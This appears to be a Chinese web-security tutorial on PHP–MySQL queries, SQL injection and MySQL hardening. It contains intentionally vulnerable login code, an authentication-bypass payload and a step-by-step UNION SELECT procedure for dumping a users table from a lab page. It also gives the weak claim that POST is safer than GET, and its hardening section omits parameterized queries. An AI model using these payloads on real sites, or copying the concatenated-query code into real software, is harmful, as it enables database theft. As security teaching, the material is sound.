前言

在Web开发中,PHP与MySQL的搭配极为常见,但直接拼接用户输入极易引发SQL注入漏洞,轻则数据泄露,重则服务器沦陷。本文从实战出发,手把手带你掌握PHP与MySQL交互流程、SQL注入(万能密码+联合查询)原理,以及数据库安全加固方案,适合Web安全入门与开发避坑。


一、PHP与MySQL交互核心四步走

PHP操作MySQL的标准流程清晰固定,也是漏洞产生的根源所在,先掌握基础交互逻辑。

1. 交互四步核心代码

<?php
// 第一步:建立数据库连接
$db_host = '127.0.0.1';
$db_user = 'root';
$db_pass = 'root';
$db_name = 'school';
$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);
if (!$conn) die("连接失败:".mysqli_connect_error());
​
// 第二步:接收用户输入(POST更安全)
if($_POST){
    $name = $_POST['name'];
    $pwd = $_POST['password'];
​
    // 第三步:执行SQL查询(漏洞高危点)
    $sql = "SELECT * FROM users WHERE name='$name' AND password='$pwd'";
    $result = mysqli_query($conn, $sql);
​
    // 第四步:处理查询结果
    if(mysqli_num_rows($result) > 0){
        $user = mysqli_fetch_assoc($result);
        echo "登录成功:".$user['name'];
    }else{
        echo "登录失败";
    }
}
mysqli_close($conn);
?>

2. 四步流程总结

步骤核心操作作用
1mysqli_connect()建立PHP与MySQL连接,失败则终止
2$_POST接收参数隐藏敏感数据,比GET更安全
3拼接SQL并执行漏洞核心位置,直接拼接易被注入
4mysqli_num_rows()判断结果,返回登录状态

二、SQL注入漏洞:万能密码原理

1. 漏洞根源

直接将用户输入无过滤、无转义拼接到SQL语句中,攻击者可通过特殊字符篡改SQL逻辑。

// 危险代码:直接拼接变量
$sql = "SELECT * FROM users WHERE name='$name' AND password='$pwd'";

2. 万能密码 payload

123' or '1'='1

3. 篡改后SQL逻辑

-- 原SQL
SELECT * FROM users WHERE name='admin' AND password='123'
-- 注入后SQL
SELECT * FROM users WHERE name='admin' AND password='123' or '1'='1'

效果:条件恒成立,无需正确密码即可登录,绕过验证。


三、SQL注入进阶:联合查询(UNION SELECT)实战

联合查询是SQL注入中拖库的核心手段,用于获取库名、表名、字段名及敏感数据。

1. 靶场环境

<?php
$conn = mysqli_connect("127.0.0.1","root","root","school");
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $sql);
?>

2. 联合查询四步走

第一步:判断字段数(order by)
?id=1 order by 6--+  # 正常
?id=1 order by 7--+  # 报错
→ 字段数=6
第二步:找回显位
?id=-1 union select 1,2,3,4,5,6--+
→ 页面显示2,第2位为回显位
第三步:信息收集(库→表→字段)
-- 当前库名
?id=-1 union select 1,database(),3,4,5,6--+
​
-- 库下表名
?id=-1 union select 1,table_name,3,4,5,6 from information_schema.tables where table_schema='school'--+
​
-- 表下字段名
?id=-1 union select 1,column_name,3,4,5,6 from information_schema.columns where table_schema='school' and table_name='users'--+
第四步:获取敏感数据
?id=-1 union select 1,CONCAT_WS('·',id,name,password),3,4,5,6 from school.users--+

可直接获取密码、身份证、手机号等隐藏数据。


四、MySQL安全加固:从权限到备份

1. 权限管控(最小权限原则)

-- 创建业务用户
CREATE user 'web_user'@'localhost' IDENTIFIED BY 'Web@123456';
-- 分配最小权限
GRANT SELECT,INSERT,UPDATE ON school.* TO 'web_user'@'localhost';
FLUSH PRIVILEGES;
​
-- Root账号加固
ALTER user 'root'@'localhost' IDENTIFIED BY 'Root@753951';
UPDATE mysql.user SET Host='192.168.1.%' WHERE user='root';
FLUSH PRIVILEGES;

2. 日志审计(攻击溯源)

-- 开启通用日志
set global general_log=on;
-- 查看日志路径
show variables like 'general_log_file';

3. 数据备份(3-2-1原则)

  • 3份数据:原始+本地+异地

  • 2种介质:硬盘+云盘

  • 1份离线:不联网存储

命令行备份/恢复
# 备份
mysqldump -u root -p school > backup.sql
​
# 恢复
mysql -u root -p school < backup.sql

五、总结

  1. PHP与MySQL交互分连接→收参→执行SQL→处理结果四步,POST优于GET;

  2. SQL注入根源是直接拼接用户输入,万能密码与联合查询是最常用攻击方式;

  3. 安全加固遵循最小权限、开启日志、3-2-1备份,从源头防范漏洞。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐